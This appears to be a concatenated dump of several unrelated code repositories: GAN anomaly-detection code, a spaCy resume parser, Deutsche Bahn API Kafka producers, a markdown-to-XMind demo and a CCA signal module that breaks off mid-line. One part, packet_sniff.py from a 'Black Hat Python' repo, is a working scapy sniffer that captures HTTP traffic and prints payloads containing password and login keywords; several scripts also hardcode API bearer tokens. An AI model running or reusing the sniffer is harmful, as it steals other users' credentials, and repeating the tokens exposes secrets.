LeakyReLU(alpha=0.2)(disc_out) # CONV 2 - CONV N # do the rest of the convs based on the sizes from the filters for i, _ in enumerate(filters_list[1:]): name = 'disc_conv_{}'.format(i+2) disc_out = Conv2D( kernel_size=(4, 4), filters=128, strides=(2, 2), padding="same")(disc_out) # disc_out = BatchNormalization(name=name + '_bn', mode=bn_mode, axis=axis)(disc_out) disc_out = BatchNormalization(name=name + '_bn')(disc_out) disc_out = LeakyReLU(alpha=0.2)(disc_out) # ------------------------ # BUILD PATCH GAN # this is where we evaluate the loss over each sublayer of the input # ------------------------ patch_gan_discriminator = generate_patch_gan_loss(last_disc_conv_layer=disc_out, patch_dim=patch_dim, input_layer=input_layer, nb_patches=nb_patches) return patch_gan_discriminator def generate_patch_gan_loss(last_disc_conv_layer, patch_dim, input_layer, nb_patches): # generate a list of inputs for the different patches to the network list_input = [Input(shape=patch_dim, name="patch_gan_input_%s" % i) for i in range(nb_patches)] print("--------") print("nb_patches:",nb_patches) # get an activation x_flat = Flatten()(last_disc_conv_layer) x = Dense(2, activation='softmax', name="disc_dense")(x_flat) patch_gan = Model(input_layer, [x, x_flat]) # generate individual losses for each patch x = [patch_gan(patch)[0] for patch in list_input] x_mbd = [patch_gan(patch)[1] for patch in list_input] print("x:",x) print("x_mbd:",x_mbd) print("--------") # merge layers if have multiple patches (aka perceptual loss) if len(x) > 1: x = concatenate(x) # x = merge(x, mode="concat", name="merged_features") else: x = x[0] # merge mbd if needed # mbd = mini batch discrimination # https://arxiv.org/pdf/1606.03498.pdf if len(x_mbd) > 1: x_mbd = concatenate(x_mbd) # x_mbd = merge(x_mbd, mode="concat", name="merged_feature_mbd") else: x_mbd = x_mbd[0] num_kernels = 100 dim_per_kernel = 5 M = Dense(num_kernels * dim_per_kernel, bias=False, activation=None) MBD = Lambda(minb_disc, output_shape=lambda_output) x_mbd = M(x_mbd) x_mbd = Reshape((num_kernels, dim_per_kernel))(x_mbd) x_mbd = MBD(x_mbd) x = concatenate([x, x_mbd]) #x = merge([x, x_mbd], mode='concat') x_out = Dense(1, activation="softmax", name="disc_output")(x) print("list_input:",list_input) discriminator = Model(name='discriminator_nn', input=list_input, output=[x_out]) return discriminator def lambda_output(input_shape): # return input_shape[:2] return input_shape[:2] def minb_disc(x): diffs = K.expand_dims(x, 3) - K.expand_dims(K.permute_dimensions(x, [1, 2, 0]), 0) abs_diffs = K.sum(K.abs(diffs), 2) x = K.sum(K.exp(-abs_diffs), 2) return x ``` #### File: jingkunchen/patch_gan_alocc/test.py ```python import numpy as np from models import ALOCC_Model from keras.datasets import mnist import matplotlib.pyplot as plt from keras import backend as K import os from keras.losses import binary_crossentropy os.environ['CUDA_VISIBLE_DEVICES'] = '0' self =ALOCC_Model(dataset_name='mnist', input_height=32,input_width=32) self.adversarial_model.load_weights('./checkpoint/ALOCC_Model_30.h5') X_train = np.load("lesion_test_25_100.npy") X_train = X_train[:,:,:,np.newaxis] def test_reconstruction(label, data_index = 0): # specific_idx = np.where(y_train == label)[0] if data_index >= len(X_train): data_index = 0 datalist = X_train for i in range(len(datalist)): data = X_train[i:i+1] model_predicts = self.adversarial_model.predict(data) # print(model_predicts_latentspace[0]) #fig= plt.figure(figsize=(8, 8)) #columns = 1 #rows = 2 #fig.add_subplot(rows, columns, 1) input_image = data.reshape((32, 32)) reconstructed_image = model_predicts[0].reshape((32, 32)) #plt.title('Input') #plt.imshow(input_image, label='Input') #fig.add_subplot(rows, columns, 2) #plt.title('Reconstruction') #plt.imshow(reconstructed_image, label='Reconstructed') #plt.show() # Compute the mean binary_crossentropy loss of reconstructed image. y_true = K.variable(reconstructed_image) y_pred = K.variable(input_image) error = K.eval(binary_crossentropy(y_true, y_pred)).mean() print(error+1-model_predicts[1][0][0]) test_reconstruction(4) ```
{ "source": "jingle1000/Black-Hat-Python-ARP-Spoofing", "score": 3 }
#### File: jingle1000/Black-Hat-Python-ARP-Spoofing/net_cut.py ```python from netfilterqueue import NetfilterQueue import scapy.all as scapy ##need to add ipv6 support... #program does not work # def process_packet(packet): # scapy_packet = scapy.IP(packet.get_payload()) # if scapy_packet.haslayer(scapy.DNSRR): # print(scapy_packet.show()) # packet.accept() def delete_this_function(packet): scapy_packet = scapy.IP(packet.get_payload()) print(scapy_packet.show()) queue = NetfilterQueue() #queue.bind(0, process_packet) queue.bind(0, delete_this_function) queue.run() ``` #### File: jingle1000/Black-Hat-Python-ARP-Spoofing/packet_sniff.py ```python import scapy.all as scapy from scapy.layers import http def sniff(interface): scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet) def get_url(packet): return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path def get_login_info(packet): if packet.haslayer(scapy.Raw): load = packet[scapy.Raw].load login_keywords = ['username', 'user', 'email', 'login', 'pass', 'password', 'pw'] for keyword in login_keywords: if keyword in load: return load def process_sniffed_packet(packet): if packet.haslayer(http.HTTPRequest): url = get_url(packet) print('[+] HTTP REQUEST: ' + url) login_info = get_login_info(packet) if login_info: print('\n\n[+] Possible Login Info: ' + login_info + '\n\n') def main(): sniff('wlan0') main() ```
{ "source": "jingle1000/ResumeParser", "score": 4 }
#### File: parser_app/parser/custom_train.py ```python from __future__ import unicode_literals from __future__ import print_function import re import plac import random from pathlib import Path import spacy import json import logging # new entity label LABEL = "COL_NAME" # training data # Note: If you're using an existing model, make sure to mix in examples of # other entity types that spaCy correctly recognized before. Otherwise, your # model might learn the new type, but "forget" what it previously knew. # https://explosion.ai/blog/pseudo-rehearsal-catastrophic-forgetting # training data # TRAIN_DATA = [ # ("i study in maria college", {"entities": [(11, 24, LABEL)]}), # ("completed graduation from napier university (edinburgh, # united kingdom)", {"entities": [(26, 43, LABEL)]}), # ("studied in school of continuing and professional studies", # {"entities": [(11, 16, LABEL)]}), # ("studied at chinese university of hong kong", {"entities": # [(11, 29, LABEL)]}), # ("studied in University of Strathclyde", {"entities": # [(11, 37, LABEL)]}), # ] def trim_entity_spans(data: list) -> list: """Removes leading and trailing white spaces from entity spans. Args: data (list): The data to be cleaned in spaCy JSON format. Returns: list: The cleaned data. """ invalid_span_tokens = re.compile(r'\s') cleaned_data = [] for text, annotations in data: entities = annotations['entities'] valid_entities = [] for start, end, label in entities: valid_start = start valid_end = end while valid_start < len(text) and invalid_span_tokens.match( text[valid_start]): valid_start += 1 while valid_end > 1 and invalid_span_tokens.match( text[valid_end - 1]): valid_end -= 1 valid_entities.append([valid_start, valid_end, label]) cleaned_data.append([text, {'entities': valid_entities}]) return cleaned_data def convert_dataturks_to_spacy(dataturks_JSON_FilePath): try: training_data = [] lines = [] with open(dataturks_JSON_FilePath, 'r', encoding="utf8") as f: lines = f.readlines() for line in lines: data = json.loads(line) text = data['content'] entities = [] if data['annotation'] is not None: for annotation in data['annotation']: # only a single point in text annotation. point = annotation['points'][0] labels = annotation['label'] # handle both list of labels or a single label. if not isinstance(labels, list): labels = [labels] for label in labels: # dataturks indices are both inclusive [start, end] # but spacy is not [start, end) entities.append(( point['start'], point['end'] + 1, label )) training_data.append((text, {"entities": entities})) return training_data except Exception: logging.exception("Unable to process " + dataturks_JSON_FilePath) return None TRAIN_DATA = trim_entity_spans(convert_dataturks_to_spacy("traindata.json")) @plac.annotations( model=("Model name. Defaults to blank 'en' model.", "option", "m", str), new_model_name=("New model name for model meta.", "option", "nm", str), output_dir=("Optional output directory", "option", "o", Path), n_iter=("Number of training iterations", "option", "n", int), ) def main( model=None, new_model_name="training", output_dir='/home/omkarpathak27/Downloads/zipped/pyresparser/pyresparser', n_iter=30 ): """Set up the pipeline and entity recognizer, and train the new entity.""" random.seed(0) if model is not None: nlp = spacy.load(model) # load existing spaCy model print("Loaded model '%s'" % model) else: nlp = spacy.blank("en") # create blank Language class print("Created blank 'en' model") # Add entity recognizer to model if it's not in the pipeline # nlp.create_pipe works for built-ins that are registered with spaCy if "ner" not in nlp.pipe_names: print("Creating new pipe") ner = nlp.create_pipe("ner") nlp.add_pipe(ner, last=True) # otherwise, get it, so we can add labels to it else: ner = nlp.get_pipe("ner") # add labels for _, annotations in TRAIN_DATA: for ent in annotations.get('entities'): ner.add_label(ent[2]) # if model is None or reset_weights: # optimizer = nlp.begin_training() # else: # optimizer = nlp.resume_training() move_names = list(ner.move_names) # get names of other pipes to disable them during training other_pipes = [pipe for pipe in nlp.pipe_names if pipe != "ner"] with nlp.disable_pipes(*other_pipes): # only train NER optimizer = nlp.begin_training() # batch up the examples using spaCy's minibatch for itn in range(n_iter): print("Starting iteration " + str(itn)) random.shuffle(TRAIN_DATA) losses = {} for text, annotations in TRAIN_DATA: nlp.update( [text], # batch of texts [annotations], # batch of annotations drop=0.2, # dropout - make it harder to memorise data sgd=optimizer, # callable to update weights losses=losses) print("Losses", losses) # test the trained model test_text = "<NAME> College of Engineering" doc = nlp(test_text) print("Entities in '%s'" % test_text) for ent in doc.ents: print(ent.label_, ent.text) # save model to output directory if output_dir is not None: output_dir = Path(output_dir) if not output_dir.exists(): output_dir.mkdir() nlp.meta["name"] = new_model_name # rename model nlp.to_disk(output_dir) print("Saved model to", output_dir) # test the saved model print("Loading from", output_dir) nlp2 = spacy.load(output_dir) # Check the classes have loaded back consistently assert nlp2.get_pipe("ner").move_names == move_names doc2 = nlp2(test_text) for ent in doc2.ents: print(ent.label_, ent.text) if __name__ == "__main__": plac.call(main) ```
{ "source": "jingle1267/md2xmind", "score": 3 }
#### File: md2xmind/example/Demo.py ```python import os import md2xmind def main(): # print('example main') file_path = os.path.abspath(os.path.join(os.getcwd(), 'test2.md')) md2xmind.start_trans_file(file_path, 'test2', 'test22') with open(file_path, 'r', encoding='utf-8') as f: md_content = f.read() md2xmind.start_trans_content(md_content, '222', '222') if __name__ == '__main__': main() ```
{ "source": "Jinglebear/db-ripper", "score": 3 }
#### File: db-ripper/src/KafkaProducerPlanned.py ```python from utility import Utils import sys from datetime import datetime try: import threading import time from kafka import KafkaProducer import requests import sys from datetime import datetime except Exception as e: Utils.print_error("KafkaProducerPlanned", "Error while import", e) # process_evas get an slice with eva_numbers, hourSlice and date for the request. # request api with given eva numbers and save data in kafka def process_evas(evas, hour_slice, date, security_token): # create producer producer = KafkaProducer(bootstrap_servers=Utils.bootstrap_servers) calls_in_minute = 0 # iterate over given eva numbers with requests.Session() as session: for eva in evas: # rest if the invocation limit is reached if calls_in_minute < Utils.timetable_invocation_limit: calls_in_minute += 1 else: time.sleep(60) calls_in_minute = 1 # api request header = { 'Accept': 'application/xml', 'Authorization': security_token, } try: response = session.get(Utils.get_planned_url(eva,date,str(hour_slice)), headers=header) # if api request was successfull send data to kafka if response.status_code == 200: producer.send(topic=Utils.topic_timetable_planned, value=response.content) else: Utils.print_error("KafkaProducerPlanned", "request fail with code " + str(response.status_code)) except Exception as e: Utils.print_error("KafkaProducerPlanned", "request fail", e) # wait until every producer send his data producer.flush() #======================================= # Main try: Utils.print_log("KafkaProducerPlanned", "start work") # preparatory work: set hourslice and date start = datetime.now() hour_slice = start.hour # date in format: YYMMDD date = (str(start.year%1000) + (('0'+str(start.month)) if (start.month<10) else (str(start.month))) + (('0'+str(start.day)) if (start.day<10) else (str(start.day)))) ##Work # load eva numbers evas = Utils.get_eva_numbers() # load tokens tokens = Utils.tokens_table_planned # eva numbers that one token will process evas_per_token = int(len(evas) / len(tokens)) + 1 # divide work on token for x in range(len(tokens)): thread = threading.Thread(target=process_evas, args=(evas[x*evas_per_token:(x+1)*evas_per_token], hour_slice, date, tokens[x])) thread.start() except Exception as e: Utils.print_error("KafkaProducerPlanned", "Error while main", e) ``` #### File: src/prototypes/ProducerPrototype.py ```python from datetime import datetime import time from kafka import KafkaProducer import requests import xml.etree.ElementTree as ET #constants headers = { 'Accept': 'application/xml', 'Authorization': 'Bearer 13d747ec4d3615f93cca7dcf7f203389', } timeIntervalInSec = 10 topic = 'RecentChangedTrain' bootstrap_servers=['localhost:29092'] producer = KafkaProducer(bootstrap_servers=bootstrap_servers) def send_on_success(record_metadata): print('topic:',record_metadata.topic,'partition:',record_metadata.partition) while True: #startTime start = datetime.now() #Work response = requests.get('https://api.deutschebahn.com/timetables/v1/rchg/8000240', headers=headers) producer.send(topic=topic, value=response.content).add_callback(send_on_success) producer.flush() #endTime end = datetime.now() #workTime workTimeInSec = (end-start).total_seconds() #sleep timeinterval-workTime if workTimeInSec<timeIntervalInSec: time.sleep(timeIntervalInSec-workTimeInSec) ``` #### File: src/utility/GetStationCategoryNameLocation.py ```python import requests import time import csv import sys from itertools import groupby import Utils # ==================================================================== # **Description** # This script takes the list of train stations we found on wikipedia # --> Extracts: train station number, train station name, train station category # --> Calls the db-stations API to recieve: # --> GeoJSON (Point) [longitude, latitude] for every train station # --> Saves the successfull recieved data in a new .csv file # --> Saves the train stations where the request failed in a new .csv file # (Depending on the size of the failed request, repeat the steps) # read train stations from csv file (where data begins in second row) def read_station(filename): stations = [] with open(filename, encoding='utf-8') as file: skip = True # skip first row of csv file reader = csv.reader(file) for row in reader: if(not skip): splitted_string = row[0].split(',') # string[0] --> train_station_number # string[1] --> train_station_name # string[4] --> train_station_category station_triplet = ( splitted_string[1], splitted_string[0], splitted_string[4]) stations.append(station_triplet) skip = False return stations # function to handle the api call and save the data def get_geo_data(station, base_request_string, header, result_arr, fail_arr): with requests.Session() as session: response = session.get( base_request_string+station[1], headers=header) response_status_code = response.status_code response = response.json() # json encoding of response if(response_status_code == 200): # sucessful response code city = response['result'][0]['mailingAddress']['city'] geographic_coordinates = response['result'][0]['evaNumbers'][0]['geographicCoordinates'] station_enriched = (station[0], station[2], city, geographic_coordinates) result_arr.append(station_enriched) # print(eva_triplet, flush=True) # debug else: print("ERROR: "+str(response_status_code), flush=True) # debug fail_arr.append(station) #utility function to quickly check if all values of the array are equal def all_equal(counter_arr): g = groupby(counter_arr) return next(g, True) and not next(g, False) # function to handle the auth tokens def compute_geo_data(stations, base_request_string, headers, result_arr, fail_arr, counter_arr): control = 0 for station in stations: control += 1 print(control, flush=True) try: for i in range(len(counter_arr)): if(counter_arr[i] < 100): counter_arr[i] += 1 get_geo_data(station=station, base_request_string=base_request_string, header=headers[i], result_arr=result_arr, fail_arr=fail_arr) break sleep = all_equal(counter_arr=counter_arr) if(sleep): print("<<<<<<<<<<<<<<SLEEPING>>>>>>>>>>>>>>>>", flush=True) time.sleep(61) for j in range(len(counter_arr)): counter_arr[j] = 0 except IndexError: print("ERROR: IndexError", flush=True) # debug fail_arr.append(station) fail_arr.append("(IndexError)") except: e = sys.exc_info() print(e) # array with the important station data stations = read_station("/home/bigdata/db-ripper/misc/Mappe1.csv") # the URL for db API requests regarding train station data base_request_string = "https://api.deutschebahn.com/stada/v2/stations/" # the array of successfull collected train station data resultArr = [] # the array of unsuccessfull collected train station data failArr = [] # the array of auth tokens that are subscribed to the db-api stations tokenArr = Utils.tokens_timetable_parking # the array of headers needed for the request containing the auth tokens headers_arr = [] for token in tokenArr: header = {'Accept': 'application/json', 'Authorization': token} headers_arr.append(header) # the array of counters for each auth token, to make sure every auth token is only used n-times before # the next token has to be used, if all tokens have been used n-times the loop needs to sleep to garant access counter_arr = [] for i in range(30): counter_arr.append(0) # work compute_geo_data(stations, base_request_string, headers_arr, resultArr, failArr, counter_arr=counter_arr) #write successes data in a new file 'test_table_result.csv' with open("/home/bigdata/db-ripper/misc/test_table_result.csv", "w", newline='', encoding='utf-8') as resultfile: writer = csv.writer(resultfile) for result in resultArr: writer.writerow(result) #write failures in a new file 'test_table_fail.csv' with open("/home/bigdata/db-ripper/misc/test_table_fail.csv", "w", newline='', encoding='utf-8') as failfile: writer = csv.writer(failfile) for fail in failArr: writer.writerow(fail) ``` #### File: src/utility/StationWithCity.py ```python import time import requests import csv import sys from itertools import groupby # ==================================================================== # **Description** # This scripts does exactly the same as "Station.py" # But : also collects the city name belonging to the train station def all_equal(counter_arr): g = groupby(counter_arr) return next(g,True) and not next(g,False) def read_station(filename): stations = [] with open(filename, encoding='utf-8') as file: skip = True # skip first row of csv file reader = csv.reader(file) for row in reader: if(not skip): splitted_string = row[0].split(',') station_triplet = ( splitted_string[1], splitted_string[0], splitted_string[4]) stations.append(station_triplet) skip = False return stations # array with the important station data stations = read_station("..\\..\\misc\\Mappe1.csv") def get_eva_num(station, base_request_string, header, result_arr, fail_arr): response = requests.get( base_request_string+station[1], headers=header) response_status_code = response.status_code response = response.json() # json encoding of response if(response_status_code == 200): # sucessful response code eva_number = response['result'][0]['evaNumbers'][0]['number'] city = response['result'][0]['mailingAddress']['city'] eva_quadrupel = (station[0], eva_number, station[2],city) result_arr.append(eva_quadrupel) #print(eva_triplet, flush=True) # debug else: print("ERROR: "+str(response_status_code), flush=True) # debug fail_arr.append(station) def compute_eva_nums(stations, base_request_string, headers, result_arr, fail_arr, counter_arr): control = 0 for station in stations: control +=1 print(control,flush=True) try: for i in range(len(counter_arr)): if(counter_arr[i] < 100): counter_arr[i] +=1 get_eva_num(station=station, base_request_string=base_request_string, header=headers[i], result_arr=result_arr, fail_arr=fail_arr) break sleep = all_equal(counter_arr=counter_arr) if(sleep): print("<<<<<<<<<<<<<<SLEEPING>>>>>>>>>>>>>>>>",flush=True) time.sleep(61) for j in range(len(counter_arr)): counter_arr[j] = 0 except IndexError: print("ERROR: IndexError", flush=True) # debug fail_arr.append(station) fail_arr.append("(IndexError)") except: e = sys.exc_info() print(e) base_request_string = "https://api.deutschebahn.com/stada/v2/stations/" result_arr = [] fail_arr = [] tokenArr = ['Bearer <KEY>', 'Bearer 0548da9b09541d93c01c2685f5e8a611', 'Bearer 9813ceeae64e273dca14d615405395d7', 'Bearer 194291fed31c8daf95c8d45f22254399', 'Bearer fca48279e7030608b9799ab4e84c8975', 'Bearer b4a1b8aa689f4b1f2666af53a1b592ab', 'Bearer 8312dec31d1808720aaadd9334accb24', 'Bearer eed6fa376f86dce95beb400315616e58'] headers_arr =[] for token in tokenArr: header = {'Accept':'application/json', 'Authorization' : token} headers_arr.append(header) counter_arr =[] for i in range(8): counter_arr.append(0) compute_eva_nums(stations, base_request_string, headers_arr, result_arr, fail_arr,counter_arr=counter_arr) with open("..\\..\\misc\\table-2-result.csv", "w", newline='', encoding='utf-8') as resultfile: writer = csv.writer(resultfile) for result in result_arr: writer.writerow(result) with open("..\\..\\misc\\table-2-fail.csv", "w", newline='', encoding='utf-8') as failfile: writer = csv.writer(failfile) for fail in fail_arr: writer.writerow(fail) ```
{ "source": "jinglemansweep/pypipsta", "score": 2 }
#### File: jinglemansweep/pypipsta/helpers.py ```python import platform import sys import textwrap import time import usb.core import usb.util class Pipsta(object): USB_BUSY = 66 PIPSTA_USB_VENDOR_ID = 0x0483 PIPSTA_USB_PRODUCT_ID = 0xA053 LINE_CHAR_WIDTH = 32 CR = b"\x0D" FONT_REGULAR = b"\x1b!\x00" FONT_UNDERLINE = b"\x1b!\x80" FONT_WIDE = b"\x1b!\x20" FONT_TALL = b"\x1b!\x10" def __init__(self, vendor=PIPSTA_USB_VENDOR_ID, product=PIPSTA_USB_PRODUCT_ID): self.vendor = vendor self.product = product def tprint(self, text, font=FONT_REGULAR, feed=1, wrap=False): self.check_platform() dev = self.get_device() endpoint = self.get_endpoint(dev) endpoint.write(font) if wrap: text = textwrap.fill(text, self.LINE_CHAR_WIDTH) endpoint.write(text) """ for x in text: endpoint.write(x) # write all the data to the USB OUT endpoint res = dev.ctrl_transfer(0xC0, 0x0E, 0x020E, 0, 2) while res[0] == self.USB_BUSY: time.sleep(0.01) res = dev.ctrl_transfer(0xC0, 0x0E, 0x020E, 0, 2) """ endpoint.write(b"\n" * feed) usb.util.dispose_resources(dev) def get_endpoint(self, dev): cfg = dev.get_active_configuration() # Get handle to active interface interface_number = cfg[(0, 0)].bInterfaceNumber usb.util.claim_interface(dev, interface_number) alternate_setting = usb.control.get_interface(dev, interface_number) interface = usb.util.find_descriptor( cfg, bInterfaceNumber=interface_number, bAlternateSetting=alternate_setting ) usb_endpoint = usb.util.find_descriptor( interface, custom_match=lambda e: usb.util.endpoint_direction(e.bEndpointAddress) == usb.util.ENDPOINT_OUT ) if usb_endpoint is None: # check we have a real endpoint handle raise IOError("Could not find an endpoint to print to") return usb_endpoint def get_device(self): dev = usb.core.find( idVendor=self.vendor, idProduct=self.product ) if dev is None: # if no such device is connected... raise IOError("Printer not found") # ...report error try: dev.reset() dev.set_configuration() except usb.core.USBError as ex: raise IOError("Failed to configure the printer", ex) return dev def check_platform(self): if platform.system() != "Linux": sys.exit("This script has only been written for Linux") ```
{ "source": "jinglescode/ds-project-starter", "score": 4 }
#### File: jinglescode/ds-project-starter/plotting.py ```python def plot_correlation(): # this function helps you to plot a certain type of graph, so you dont copy the same code over and over again. [Don't repeat yourself](https://en.wikipedia.org/wiki/Don%27t_repeat_yourself) return def plot_something_else(): # you want to make these functions flexible to take in some params, and it is suppose to plot accordingly based on the specified input return ```
{ "source": "jinglescode/meditorch", "score": 3 }
#### File: meditorch/datasets/drishti.py ```python import os import numpy as np from torch.utils.data import Dataset from torchvision import transforms from meditorch.utils.files import makedir_exist_ok, download_and_extract_archive from meditorch.utils.images import load_set, load_image, resize_image_to_square class Drishti(Dataset): """`Drishti-GS <https://cvit.iiit.ac.in/projects/mip/drishti-gs/mip-dataset2/Home.php>`_ Dataset. Full images with optic disc and optic cup segmentation. Average segmentation and "softmap" segmentation image are given. 50 images of various resolution close to 2040 x 1740. Data set is split into training and test sets. Required schema: db_folder/ Drishti-GS1_files/ Training/ Images/ drishtiGS_{:03}.png # some numbers are omitted, like 001, 003, 004, ... GT/ drishtiGS_{:03}/ drishtiGS_{:03}_cdrValues.txt AvgBoundary/ drishtiGS_{:03}_ODAvgBoundary.txt drishtiGS_{:03}_CupAvgBoundary.txt drishtiGS_{:03}_diskCenter.txt SoftMap/ drishtiGS_{:03}_ODsegSoftmap.png drishtiGS_{:03}_cupsegSoftmap.png Args: root (string): Root directory of dataset. train (bool, optional): If True, read images from ``Training`` folder, otherwise from ``Test``. (default: True) return_disc (bool, optional): ``targets`` will contain segmentation of optic disc. (default: True) return_cup (bool, optional): ``targets`` will contain segmentation of optic cup. (default: True) result_resolution (tuple, optional): ``data`` and ``targets`` will be resized to this resolution. (default: (224,224)) """ def __init__(self, root, train=True, transform=None, return_disc=True, return_cup=True, result_resolution=(224,224)): self.root = root self.transform = transform self.data = None self.targets = None self._download() self._extract_images_and_segments(train, return_disc, return_cup, result_resolution) def __getitem__(self, index): """ Args: index (int): Index Returns: tuple: (image, target) where target is mask. """ img, target = self.data[index], self.targets[index] if self.transform: img = self.transform(img) else: transform_to_tensor = transforms.Compose([ transforms.ToTensor(), ]) img = transform_to_tensor(img) return img, target def __len__(self): return len(self.data) def _extract_images_and_segments(self, is_train, return_disc, return_cup, result_resolution): disc_all, cup_all = [], [] # file_codes_all = [] if is_train: set_path = os.path.join(self.extracted_folder, 'Training') else: set_path = os.path.join(self.extracted_folder, 'Test') print('Extracting data from', set_path) images_path = os.path.join(set_path, 'Images') X_all, file_names = load_set(folder=images_path) if len(file_names) == 0: raise Exception('No files') rel_file_names = [os.path.split(fn)[-1] for fn in file_names] rel_file_names_wo_ext = [fn[:fn.rfind('.')] for fn in rel_file_names] # file_codes = ['Training' + fn[fn.find('_'):] for fn in rel_file_names_wo_ext] # file_codes_all.extend(file_codes) for fn in rel_file_names_wo_ext: gt_folder = 'GT' if not is_train: gt_folder = 'Test_GT' if return_disc: disc_segmn = load_image(os.path.join(set_path, gt_folder, fn, 'SoftMap', fn + '_ODsegSoftmap.png')) disc_all.append(disc_segmn) if return_cup: cup_segmn = load_image(os.path.join(set_path, gt_folder, fn, 'SoftMap', fn + '_cupsegSoftmap.png')) cup_all.append(cup_segmn) for i in range(len(X_all)): side = result_resolution[0] X_all[i] = resize_image_to_square(X_all[i], side, pad_cval=0) if return_disc: disc_all[i] = resize_image_to_square(disc_all[i], side, pad_cval=0) disc_all[i] = disc_all[i].reshape(disc_all[i].shape + (1,)) if return_cup: cup_all[i] = resize_image_to_square(cup_all[i], side, pad_cval=0) cup_all[i] = cup_all[i].reshape(cup_all[i].shape + (1,)) input_images = np.asarray(X_all) input_images = input_images.astype(np.uint8) if return_disc: disc_converted = np.asarray(disc_all) disc_converted = np.where(disc_converted > 0, 1, 0) disc_converted = disc_converted.astype(np.float32) if return_cup: cup_converted = np.asarray(cup_all) cup_converted = np.where(cup_converted > 0, 1, 0) cup_converted = cup_converted.astype(np.float32) if return_disc and return_cup: target_masks = np.concatenate((disc_converted, cup_converted), axis=3) elif return_disc: target_masks = disc_converted elif return_cup: target_masks = cup_converted target_masks = np.rollaxis(target_masks, 3, 1) self.data = input_images self.targets = target_masks print('Completed extracting `data` and `targets`.') @property def data_folder(self): return os.path.join(self.root, self.__class__.__name__) @property def extracted_folder(self): return os.path.join(self.root, self.__class__.__name__, 'Drishti-GS1_files', 'Drishti-GS1_files') def _check_exists(self): return (os.path.exists(os.path.join(self.data_folder))) def _download(self): if self._check_exists(): return makedir_exist_ok(self.data_folder) urls = ['https://cvit.iiit.ac.in/projects/mip/drishti-gs/mip-dataset2/Drishti-GS1_files.rar'] for url in urls: filename = url.rpartition('/')[2] download_and_extract_archive(url, download_root=self.data_folder, filename=filename) print('Finished download and extract') ``` #### File: deeplab_components/backbone/__init__.py ```python from . import resnet, xception, drn, mobilenet def build_backbone(in_ch, backbone, output_stride, BatchNorm): if backbone == 'resnet': return resnet.ResNet101(in_ch, output_stride, BatchNorm) elif backbone == 'xception': return xception.AlignedXception(in_ch, output_stride, BatchNorm) # elif backbone == 'drn': # return drn.drn_d_54(BatchNorm) elif backbone == 'mobilenet': return mobilenet.MobileNetV2(in_ch, output_stride, BatchNorm) else: raise NotImplementedError ``` #### File: meditorch/utils/plot.py ```python import matplotlib.pyplot as plt import numpy as np from functools import reduce def metrics_line(data): phases = list(data.keys()) metrics = list(data[phases[0]][0].keys()) i = 0 fig, axs = plt.subplots(1, len(metrics)) fig.set_figheight(4) fig.set_figwidth(4*len(metrics)) for metric in metrics: for phase in phases: axs[i].plot([i[metric] for i in data[phase]], label=phase) axs[i].set_title(metric) i+=1 plt.legend() plt.show() def normalise_mask(mask, threshold=0.5): mask[mask > threshold] = 1 mask[mask <= threshold] = 0 return mask def reverse_transform(inp): inp = inp.numpy().transpose((1, 2, 0)) inp = np.clip(inp, 0, 1) inp = (inp * 255).astype(np.uint8) return inp def plot_img_array(img_array, ncol=3): nrow = len(img_array) // ncol f, plots = plt.subplots(nrow, ncol, sharex='all', sharey='all', figsize=(ncol * 4, nrow * 4)) for i in range(len(img_array)): plots[i // ncol, i % ncol] plots[i // ncol, i % ncol].imshow(img_array[i]) def plot_image_truemask_predictedmask(images, labels, preds): input_images_rgb = [reverse_transform(x) for x in images] target_masks_rgb = [masks_to_coloredmasks(x) for x in labels] pred_rgb = [masks_to_coloredmasks(x) for x in preds] img_arrays = [input_images_rgb, target_masks_rgb, pred_rgb] flatten_list = reduce(lambda x,y: x+y, zip(*img_arrays)) plot_img_array(np.array(flatten_list), ncol=len(img_arrays)) def apply_mask_color(mask, mask_color): colored_mask = np.concatenate(([mask[ ... , np.newaxis] * color for color in mask_color]), axis=2) return colored_mask.astype(np.uint8) def masks_to_coloredmasks(mask, normalise=True, colors=None): segments_colors = np.asarray([(201, 58, 64), (242, 207, 1), (0, 152, 75), (101, 172, 228),(56, 34, 132), (160, 194, 56)]) if colors is not None: segments_colors = colors if normalise: normalise_mask(mask) mask_colored = np.concatenate( [ [apply_mask_color(mask[i], segments_colors[i])] for i in range(len(mask)) ] ) mask_colored = np.max(mask_colored, axis=0) mask_colored = np.where(mask_colored.any(-1,keepdims=True),mask_colored,255) return mask_colored ```
{ "source": "jinglescode/python-signal-processing", "score": 3 }
#### File: splearn/cross_decomposition/cca.py ```python import numpy as np from sklearn.metrics import confusion_matrix import functools from ..classes.classifier import Classifier from .reference_frequencies import generate_reference_signals class CCA(Classifier): r""" Calculates the canonical correlation coefficient and corresponding weights which maximize a correlation coefficient between linear combinations of the two specified multivariable signals. Args: sampling_rate: int Sampling frequency target_frequencies : array Frequencies for SSVEP classification signal_size : int Window/segment length in time samples sampling_rate : int Sampling frequency num_harmonics : int, default: 2 Generate till n-th harmonics """ def __init__(self, sampling_rate, target_frequencies, signal_size, num_harmonics=2): self.sampling_rate = sampling_rate self.reference_frequencies = generate_reference_signals( target_frequencies, size=signal_size, sampling_rate=sampling_rate, num_harmonics=num_harmonics ) self.can_train = False def predict(self, X): r""" Predict the label for each trial. Args: X : ndarray, shape (trial, channels, samples) 3-dim signal data by trial Returns: results : array Predicted targets """ predicted_class, _, _, _, _ = perform_cca(X, self.reference_frequencies, labels=None) return predicted_class def calculate_cca(dat_x, dat_y, time_axis=-2): r""" Calculate the Canonical Correlation Analysis (CCA). This method calculates the canonical correlation coefficient and corresponding weights which maximize a correlation coefficient between linear combinations of the two specified multivariable signals. Args: dat_x : continuous Data object these data should have the same length on the time axis. dat_y : continuous Data object these data should have the same length on the time axis. time_axis : int, optional the index of the time axis in ``dat_x`` and ``dat_y``. Returns: rho : float the canonical correlation coefficient. w_x, w_y : 1d array the weights for mapping from the specified multivariable signals to canonical variables. Raises: AssertionError : If: * ``dat_x`` and ``dat_y`` is not continuous Data object * the length of ``dat_x`` and ``dat_y`` is different on the ``time_axis`` Dependencies: functools : functools package np : numpy package Reference: https://github.com/venthur/wyrm/blob/master/wyrm/processing.py http://en.wikipedia.org/wiki/Canonical_correlation """ assert (len(dat_x.data.shape) == len(dat_y.data.shape) == 2 and dat_x.data.shape[time_axis] == dat_y.data.shape[time_axis]) if time_axis == 0 or time_axis == -2: x = dat_x.copy() y = dat_y.copy() else: x = dat_x.T.copy() y = dat_y.T.copy() # calculate covariances and it's inverses x -= x.mean(axis=0) y -= 